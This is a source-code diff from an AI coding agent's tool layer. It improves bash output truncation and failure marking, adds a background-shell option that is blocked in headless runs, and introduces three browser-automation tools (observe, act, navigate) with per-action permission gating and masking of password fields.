  if (result.aborted) {
114
- return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
114
+ return mark(wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.");
115
115
  }
116
116
  if (result.timedOut) {
117
- return `Command timed out after ${timeout}ms`;
117
+ return mark(`Command timed out after ${timeout}ms`);
118
118
  }
119
119
  if (result.spawnFailed) {
120
- return `Failed to spawn command: ${result.error ?? "unknown error"}`;
120
+ return mark(`Failed to spawn command: ${result.error ?? "unknown error"}`);
121
121
  }
122
- let output = "";
122
+ let body = "";
123
123
  if (result.stdout)
124
- output += result.stdout;
124
+ body += result.stdout;
125
125
  if (result.stderr)
126
- output += (output ? "\n" : "") + `STDERR:\n${result.stderr}`;
127
- if (!output)
128
- output = "(command completed with no output)";
126
+ body += (body ? "\n" : "") + `STDERR:\n${result.stderr}`;
127
+ if (!body)
128
+ body = "(command completed with no output)";
129
+ // Truncate the OUTPUT body head+tail (TODO 2.11) — the tail of a failing
130
+ // command (the error / final summary) is usually the most useful part, so we
131
+ // keep both ends instead of dropping the end. The exit-code/signal status
132
+ // line is prepended AFTER truncation so it's never lost.
133
+ if (body.length > MAX_OUTPUT) {
134
+ body = truncateHeadTail(body, { cap: MAX_OUTPUT });
135
+ }
129
136
  const code = result.exitCode;
130
137
  const sig = result.signal;
138
+ let output = body;
131
139
  if (code !== 0 && code !== null) {
132
- output = `Exit code: ${code}\n${output}`;
140
+ // Semantic non-zero-exit marker (TODO 2.11): clear "command FAILED" line.
141
+ output = `Exit code: ${code} (command failed)\n${output}`;
133
142
  }
134
143
  else if (code === null && sig) {
135
144
  // Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
@@ -140,10 +149,37 @@ export async function bashTool(args, ctx) {
140
149
  const hint = backend.hintForBlockedOutput?.(result.stderr);
141
150
  if (hint)
142
151
  output += hint;
143
- if (output.length > MAX_OUTPUT) {
144
- output =
145
- output.slice(0, MAX_OUTPUT) +
146
- `\n\n... output truncated (${output.length} chars total)`;
152
+ return mark(output);
153
+ }
154
+ /**
155
+ * Bash(run_in_background=true) branch: start a long-lived background shell
156
+ * through the BackgroundShellManager and return its handle. Same sandbox as
157
+ * the foreground path (D8). Rejected in unattended automation runs (§5.5)
158
+ * because no one is there to reap a dev server.
159
+ */
160
+ function runInBackground(command, ctx) {
161
+ if (ctx?.allowBackgroundShells === false) {
162
+ return "Error: background shells are not available in automation/headless runs. Run the command in the foreground, or have a human start the dev server.";
163
+ }
164
+ const sessionId = ctx?.sessionId;
165
+ if (!sessionId) {
166
+ return "Error: run_in_background requires a session context (no sessionId available).";
167
+ }
168
+ const mgr = ctx?.backgroundShells ?? backgroundShellManager;
169
+ const r = mgr.spawnBackground({
170
+ command,
171
+ cwd: ctx?.cwd ?? process.cwd(),
172
+ sessionId,
173
+ sandbox: ctx?.sandbox,
174
+ shellEnv: ctx?.shellEnv,
175
+ });
176
+ if (!r.ok) {
177
+ return `Error: ${r.error}`;
147
178
  }
148
- return output;
179
+ return [
180
+ "Started background shell.",
181
+ `shell_id: ${r.shellId}`,
182
+ `command: ${command}`,
183
+ `(Use BashOutput("${r.shellId}") to read output; KillShell("${r.shellId}") to stop; ListShells() to enumerate.)`,
184
+ ].join("\n");
149
185
  }
@@ -0,0 +1,33 @@
1
+ /**
2
+ * Browser automation tools — drive the in-app webview via the BrowserBridge
3
+ * (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
4
+ * to keep the LLM's tool list lean:
5
+ *
6
+ * browser_observe — observe the page: snapshot (a11y elements) / read (text) /
7
+ * extract (link+image+video URLs). [+ image/vision in P4]
8
+ * browser_act — interact: click / type / select / press_key / hover /
9
+ * scroll / wait / list_tabs / switch_tab (action-dispatched).
10
+ * browser_navigate — load a URL (high-frequency, kept standalone).
11
+ *
12
+ * Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
13
+ *
14
+ * snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
15
+ * token-economical, no screenshots); act references elements by the ref the
16
+ * latest snapshot assigned. All tools degrade with a clear error when no browser
17
+ * is wired. isConcurrencySafe:false — a single webview is driven serially.
18
+ *
19
+ * Permission: browser_act is permissionDefault "allow"; the sensitive actions
20
+ * (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
21
+ * argsPattern { action }, so one tool can carry per-action gating (§4.6).
22
+ */
23
+ import type { ToolDefinition } from "../../types.js";
24
+ import type { ToolContext } from "../context.js";
25
+ import type { BuiltinToolResult } from "./index.js";
26
+ export declare const browserObserveToolDef: ToolDefinition;
27
+ export declare function browserObserveTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<BuiltinToolResult>;
28
+ export declare const browserActToolDef: ToolDefinition;
29
+ export declare function browserActTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
30
+ export declare const browserNavigateToolDef: ToolDefinition;
31
+ export declare function browserNavigateTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
32
+ /** True when the session has a browser bridge wired (used to gate visibility). */
33
+ export declare function isBrowserAutomationAvailable(ctx?: ToolContext): boolean;
@@ -0,0 +1,312 @@
1
+ /**
2
+ * Browser automation tools — drive the in-app webview via the BrowserBridge
3
+ * (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
4
+ * to keep the LLM's tool list lean:
5
+ *
6
+ * browser_observe — observe the page: snapshot (a11y elements) / read (text) /
7
+ * extract (link+image+video URLs). [+ image/vision in P4]
8
+ * browser_act — interact: click / type / select / press_key / hover /
9
+ * scroll / wait / list_tabs / switch_tab (action-dispatched).
10
+ * browser_navigate — load a URL (high-frequency, kept standalone).
11
+ *
12
+ * Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
13
+ *
14
+ * snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
15
+ * token-economical, no screenshots); act references elements by the ref the
16
+ * latest snapshot assigned. All tools degrade with a clear error when no browser
17
+ * is wired. isConcurrencySafe:false — a single webview is driven serially.
18
+ *
19
+ * Permission: browser_act is permissionDefault "allow"; the sensitive actions
20
+ * (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
21
+ * argsPattern { action }, so one tool can carry per-action gating (§4.6).
22
+ */
23
+ import { renderElementList } from "../browser-bridge.js";
24
+ import { capabilitiesFor } from "../../llm/capabilities/index.js";
25
+ const NO_BROWSER = "Error: browser automation is not available (no browser panel in this session). " +
26
+ "It requires the desktop app with an open browser panel.";
27
+ function bridge(ctx) {
28
+ return ctx?.browser;
29
+ }
30
+ const STALE = (ref) => `Error: ref ${ref} is no longer valid (page changed). Re-run browser_observe.`;
31
+ // ════════════════════════════════════════════════════════════════════════════
32
+ // browser_observe — observe the page (snapshot / read / extract)
33
+ // ════════════════════════════════════════════════════════════════════════════
34
+ export const browserObserveToolDef = {
35
+ name: "browser_observe",
36
+ description: "Observe the current page in the browser panel. Modes:\n" +
37
+ "- snapshot (default): URL/title + a compact list of interactive elements, each " +
38
+ "tagged [ref=eN] for browser_act. ALWAYS snapshot before acting, and re-snapshot " +
39
+ "after navigation/page changes (refs are only valid for the latest snapshot). " +
40
+ "Passwords show as [sensitive] with no value.\n" +
41
+ "- read: the page's main readable text (for summarizing/scraping an article/post; " +
42
+ "long pages truncate — scroll + read again).\n" +
43
+ "- extract: the real URLs on the page (hyperlink hrefs, image srcs, video srcs) " +
44
+ "that snapshot omits — each image/video is tagged [ref=imgN/vidN] for image mode.\n" +
45
+ "- image: SEE the actual pixels of page images (refs from extract, e.g. img3) — for " +
46
+ "reading what a photo/product image/小红书 笔记配图 actually shows. Fetched in-page so " +
47
+ "it works behind hotlink protection. A vidN ref grabs the video's current frame.\n" +
48
+ "- vision: screenshot the rendered page (or one element via ref) — for layout/canvas/" +
49
+ "charts the a11y tree can't convey. Use sparingly (images cost tokens; snapshot first).",
50
+ inputSchema: {
51
+ type: "object",
52
+ properties: {
53
+ mode: {
54
+ type: "string",
55
+ enum: ["snapshot", "read", "extract", "image", "vision"],
56
+ description: "What to observe (default: snapshot)",
57
+ },
58
+ refs: {
59
+ type: "array",
60
+ items: { type: "string" },
61
+ description: "image mode: image refs (imgN/vidN from extract) to see, one or more",
62
+ },
63
+ ref: { type: "string", description: "vision mode (optional): screenshot just this element's region" },
64
+ },
65
+ },
66
+ };
67
+ /** Vision gate: only show images to a vision-capable model. Mirrors view_image —
68
+ * no vision → never read pixels into context (your rule: 不支持就不给看). */
69
+ function modelSupportsVision(ctx) {
70
+ if (!ctx?.llmConfig)
71
+ return false;
72
+ const kind = (ctx.llmConfig.providerKind ?? ctx.llmConfig.provider);
73
+ return capabilitiesFor(kind, ctx.llmConfig.model).supportsVision;
74
+ }
75
+ /** Wrap captured image data into a vision ContentBlock (or null if not usable). */
76
+ function toImageBlock(d) {
77
+ if (!d.ok || !d.base64 || !d.mediaType)
78
+ return null;
79
+ return { type: "image", source: { type: "base64", media_type: d.mediaType, data: d.base64 } };
80
+ }
81
+ export async function browserObserveTool(args, ctx) {
82
+ const b = bridge(ctx);
83
+ if (!b)
84
+ return NO_BROWSER;
85
+ const mode = args.mode || "snapshot";
86
+ switch (mode) {
87
+ case "snapshot": {
88
+ const snap = await b.snapshot();
89
+ const header = `URL: ${snap.url}${snap.title ? `\nTitle: ${snap.title}` : ""}`;
90
+ const human = snap.needsHuman
91
+ ? `\n\n⚠ ${snap.needsHuman} — please complete it in the browser panel, then continue.`
92
+ : "";
93
+ return `${header}\n\n${renderElementList(snap.elements)}${human}`;
94
+ }
95
+ case "read": {
96
+ const c = await b.readContent();
97
+ if (!c.ok)
98
+ return `Error: ${c.detail ?? "could not read page content"}`;
99
+ const head = `URL: ${c.url}${c.title ? `\nTitle: ${c.title}` : ""}${c.truncated ? "\n(content truncated)" : ""}`;
100
+ return `${head}\n\n${c.text || "(no readable text)"}`;
101
+ }
102
+ case "extract": {
103
+ const r = await b.extractLinks();
104
+ if (!r.ok)
105
+ return `Error: ${r.detail ?? "could not extract URLs"}`;
106
+ const head = `URL: ${r.url}${r.title ? `\nTitle: ${r.title}` : ""}${r.truncated ? "\n(truncated — page had more; narrow it and re-extract)" : ""}`;
107
+ const links = r.links.length > 0
108
+ ? "Links:\n" + r.links.map((l) => `- ${l.text ? `${l.text} → ` : ""}${l.url}`).join("\n")
109
+ : "Links: (none)";
110
+ const images = r.images.length > 0
111
+ ? "Images (use the ref with browser_observe(image) to SEE one):\n" +
112
+ r.images.map((im) => `- [${im.ref ?? "?"}] ${im.alt ? `${im.alt} → ` : ""}${im.url}`).join("\n")
113
+ : "Images: (none)";
114
+ const videos = r.videos && r.videos.length > 0
115
+ ? "Videos:\n" + r.videos.map((v) => `- ${v.url}`).join("\n")
116
+ : "Videos: (none)";
117
+ return `${head}\n\n${links}\n\n${images}\n\n${videos}`;
118
+ }
119
+ case "image": {
120
+ // Vision gate: don't fetch pixels for a non-vision model (your rule).
121
+ if (!modelSupportsVision(ctx)) {
122
+ return "[图片未加载 —— 当前模型不支持视觉输入,已跳过。切换到 vision 模型后再用 browser_observe(image)。]";
123
+ }
124
+ const refs = Array.isArray(args.refs) ? args.refs : [];
125
+ if (refs.length === 0)
126
+ return "Error: refs is required for image mode (image refs from browser_observe(extract), e.g. img3)";
127
+ const datas = await b.fetchImages(refs);
128
+ const blocks = [];
129
+ const notes = [];
130
+ for (const d of datas) {
131
+ const block = toImageBlock(d);
132
+ if (block) {
133
+ blocks.push(block);
134
+ notes.push(`${d.ref ?? "?"}: loaded`);
135
+ }
136
+ else {
137
+ notes.push(`${d.ref ?? "?"}: ${d.detail ?? "could not load"}`);
138
+ }
139
+ }
140
+ if (blocks.length === 0)
141
+ return `Error: no images loaded — ${notes.join("; ")}`;
142
+ return { contentBlocks: blocks, result: `[loaded ${blocks.length} image(s): ${notes.join("; ")}]` };
143
+ }
144
+ case "vision": {
145
+ if (!modelSupportsVision(ctx)) {
146
+ return "[截图未加载 —— 当前模型不支持视觉输入,已跳过。切换到 vision 模型后再用 browser_observe(vision)。]";
147
+ }
148
+ const ref = args.ref;
149
+ const d = await b.screenshot(ref);
150
+ const block = toImageBlock(d);
151
+ if (!block)
152
+ return `Error: ${d.detail ?? "screenshot failed"}`;
153
+ return { contentBlocks: [block], result: `[screenshot loaded${ref ? ` of ${ref}` : ""}]` };
154
+ }
155
+ default:
156
+ return `Error: unknown observe mode "${mode}" (use snapshot | read | extract | image | vision)`;
157
+ }
158
+ }
159
+ // ════════════════════════════════════════════════════════════════════════════
160
+ // browser_act — interact with the page (action-dispatched)
161
+ // ════════════════════════════════════════════════════════════════════════════
162
+ export const browserActToolDef = {
163
+ name: "browser_act",
164
+ description: "Act on the page in the browser panel. Use refs (eN) from the latest " +
165
+ "browser_observe(snapshot). Actions:\n" +
166
+ "- click {ref}: click an element.\n" +
167
+ "- type {ref, text}: type text into an input (focuses first).\n" +
168
+ "- select {ref, value}: choose an option in a NATIVE <select> (value = option " +
169
+ "value or visible text). Custom dropdowns: click to expand, then click the option.\n" +
170
+ "- press_key {key, ref?}: press a key/combo (Enter, Tab, Escape, ArrowDown, " +
171
+ "Control+a). Focuses ref first if given.\n" +
172
+ "- hover {ref}: hover to reveal menus/tooltips.\n" +
173
+ "- scroll {direction: up|down, amount?}: scroll the page, then re-observe.\n" +
174
+ "- wait {timeout_ms?}: wait for the page to finish loading before observing.\n" +
175
+ "- list_tabs: list open browser tabs (tabId, url, title, which is active).\n" +
176
+ "- switch_tab {tabId}: make another tab the active one that actions drive.\n" +
177
+ "Pass tabId on any action to target a specific tab (switches to it first). " +
178
+ "Re-observe after navigation/page/tab changes (refs go stale per tab).",
179
+ inputSchema: {
180
+ type: "object",
181
+ properties: {
182
+ action: {
183
+ type: "string",
184
+ enum: ["click", "type", "select", "press_key", "hover", "scroll", "wait", "list_tabs", "switch_tab"],
185
+ description: "The interaction to perform",
186
+ },
187
+ ref: { type: "string", description: "Element ref (eN) — click/type/select/hover/press_key" },
188
+ text: { type: "string", description: "Text to type — type" },
189
+ value: { type: "string", description: "Option value or visible text — select" },
190
+ key: { type: "string", description: "Key name or combo (Enter/Tab/Control+a) — press_key" },
191
+ direction: { type: "string", enum: ["up", "down"], description: "Scroll direction — scroll" },
192
+ amount: { type: "number", description: "Pixels to scroll (default one viewport) — scroll" },
193
+ timeout_ms: { type: "number", description: "Max wait in ms (default 10000) — wait" },
194
+ tabId: { type: "string", description: "Target tab — required for switch_tab; optional on others (switches first)" },
195
+ },
196
+ required: ["action"],
197
+ },
198
+ };
199
+ export async function browserActTool(args, ctx) {
200
+ const b = bridge(ctx);
201
+ if (!b)
202
+ return NO_BROWSER;
203
+ const action = args.action;
204
+ const ref = args.ref;
205
+ const tabId = args.tabId;
206
+ // Optional tabId on a non-tab action → switch to that tab first, then act.
207
+ if (tabId && action !== "switch_tab" && action !== "list_tabs") {
208
+ const sw = await b.switchTab(tabId);
209
+ if (!sw.ok)
210
+ return `Error: could not switch to tab ${tabId} — ${sw.detail ?? "not found"}`;
211
+ }
212
+ switch (action) {
213
+ case "list_tabs": {
214
+ const tabs = await b.listTabs();
215
+ if (tabs.length === 0)
216
+ return "(no open browser tabs)";
217
+ return ("Open tabs:\n" +
218
+ tabs.map((t) => `- [${t.tabId}]${t.active ? " (active)" : ""} ${t.title || "(untitled)"} — ${t.url || "(blank)"}`).join("\n"));
219
+ }
220
+ case "switch_tab": {
221
+ if (!tabId)
222
+ return "Error: tabId is required for switch_tab (see list_tabs)";
223
+ const r = await b.switchTab(tabId);
224
+ return r.ok ? `Switched to tab ${tabId} — re-observe to see it` : `Error: ${r.detail ?? "switch failed"}`;
225
+ }
226
+ case "click": {
227
+ if (!ref)
228
+ return "Error: ref is required for click";
229
+ const r = await b.click(ref);
230
+ if (r.ok)
231
+ return `Clicked ${ref}${r.detail ? ` — ${r.detail}` : ""}`;
232
+ return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "click failed"}`;
233
+ }
234
+ case "type": {
235
+ const text = args.text;
236
+ if (!ref)
237
+ return "Error: ref is required for type";
238
+ if (typeof text !== "string")
239
+ return "Error: text is required for type";
240
+ const r = await b.type(ref, text);
241
+ if (r.ok)
242
+ return `Typed into ${ref}`;
243
+ return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "type failed"}`;
244
+ }
245
+ case "select": {
246
+ const value = args.value;
247
+ if (!ref)
248
+ return "Error: ref is required for select";
249
+ if (typeof value !== "string")
250
+ return "Error: value is required for select";
251
+ const r = await b.selectOption(ref, value);
252
+ if (r.ok)
253
+ return `Selected${r.detail ? ` ${r.detail}` : ""} in ${ref}`;
254
+ return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "select failed"}`;
255
+ }
256
+ case "press_key": {
257
+ const key = args.key || "Enter";
258
+ const r = await b.pressKey(key, ref);
259
+ if (r.ok)
260
+ return `Pressed ${key}`;
261
+ return r.staleRef && ref ? STALE(ref) : `Error: ${r.detail ?? "press_key failed"}`;
262
+ }
263
+ case "hover": {
264
+ if (!ref)
265
+ return "Error: ref is required for hover";
266
+ const r = await b.hover(ref);
267
+ if (r.ok)
268
+ return `Hovered ${ref}`;
269
+ return r.staleRef ? STALE(ref) : `Error: ${r.detail ?? "hover failed"}`;
270
+ }
271
+ case "scroll": {
272
+ const dir = args.direction;
273
+ if (dir !== "up" && dir !== "down")
274
+ return "Error: direction must be 'up' or 'down'";
275
+ const r = await b.scroll(dir, args.amount);
276
+ return r.ok ? `Scrolled ${dir}` : `Error: ${r.detail ?? "scroll failed"}`;
277
+ }
278
+ case "wait": {
279
+ const r = await b.waitForLoad(args.timeout_ms);
280
+ return r.ok ? `Page ready${r.detail ? ` (${r.detail})` : ""}` : `Error: ${r.detail ?? "wait failed"}`;
281
+ }
282
+ default:
283
+ return `Error: unknown action "${action}"`;
284
+ }
285
+ }
286
+ // ════════════════════════════════════════════════════════════════════════════
287
+ // browser_navigate — load a URL (kept standalone: high-frequency, distinct)
288
+ // ════════════════════════════════════════════════════════════════════════════
289
+ export const browserNavigateToolDef = {
290
+ name: "browser_navigate",
291
+ description: "Navigate the browser panel to a URL (opens the panel automatically if none " +
292
+ "is open). Then call browser_act(wait) + browser_observe to see the page.",
293
+ inputSchema: {
294
+ type: "object",
295
+ properties: { url: { type: "string", description: "Absolute URL to open" } },
296
+ required: ["url"],
297
+ },
298
+ };
299
+ export async function browserNavigateTool(args, ctx) {
300
+ const b = bridge(ctx);
301
+ if (!b)
302
+ return NO_BROWSER;
303
+ const url = args.url;
304
+ if (!url)
305
+ return "Error: url is required";
306
+ const r = await b.navigate(url);
307
+ return r.ok ? `Navigated to ${url}` : `Error: ${r.detail ?? "navigation failed"}`;
308
+ }
309
+ /** True when the session has a browser bridge wired (used to gate visibility). */
310
+ export function isBrowserAutomationAvailable(ctx) {
311
+ return bridge(ctx) !== undefined;
312
+ }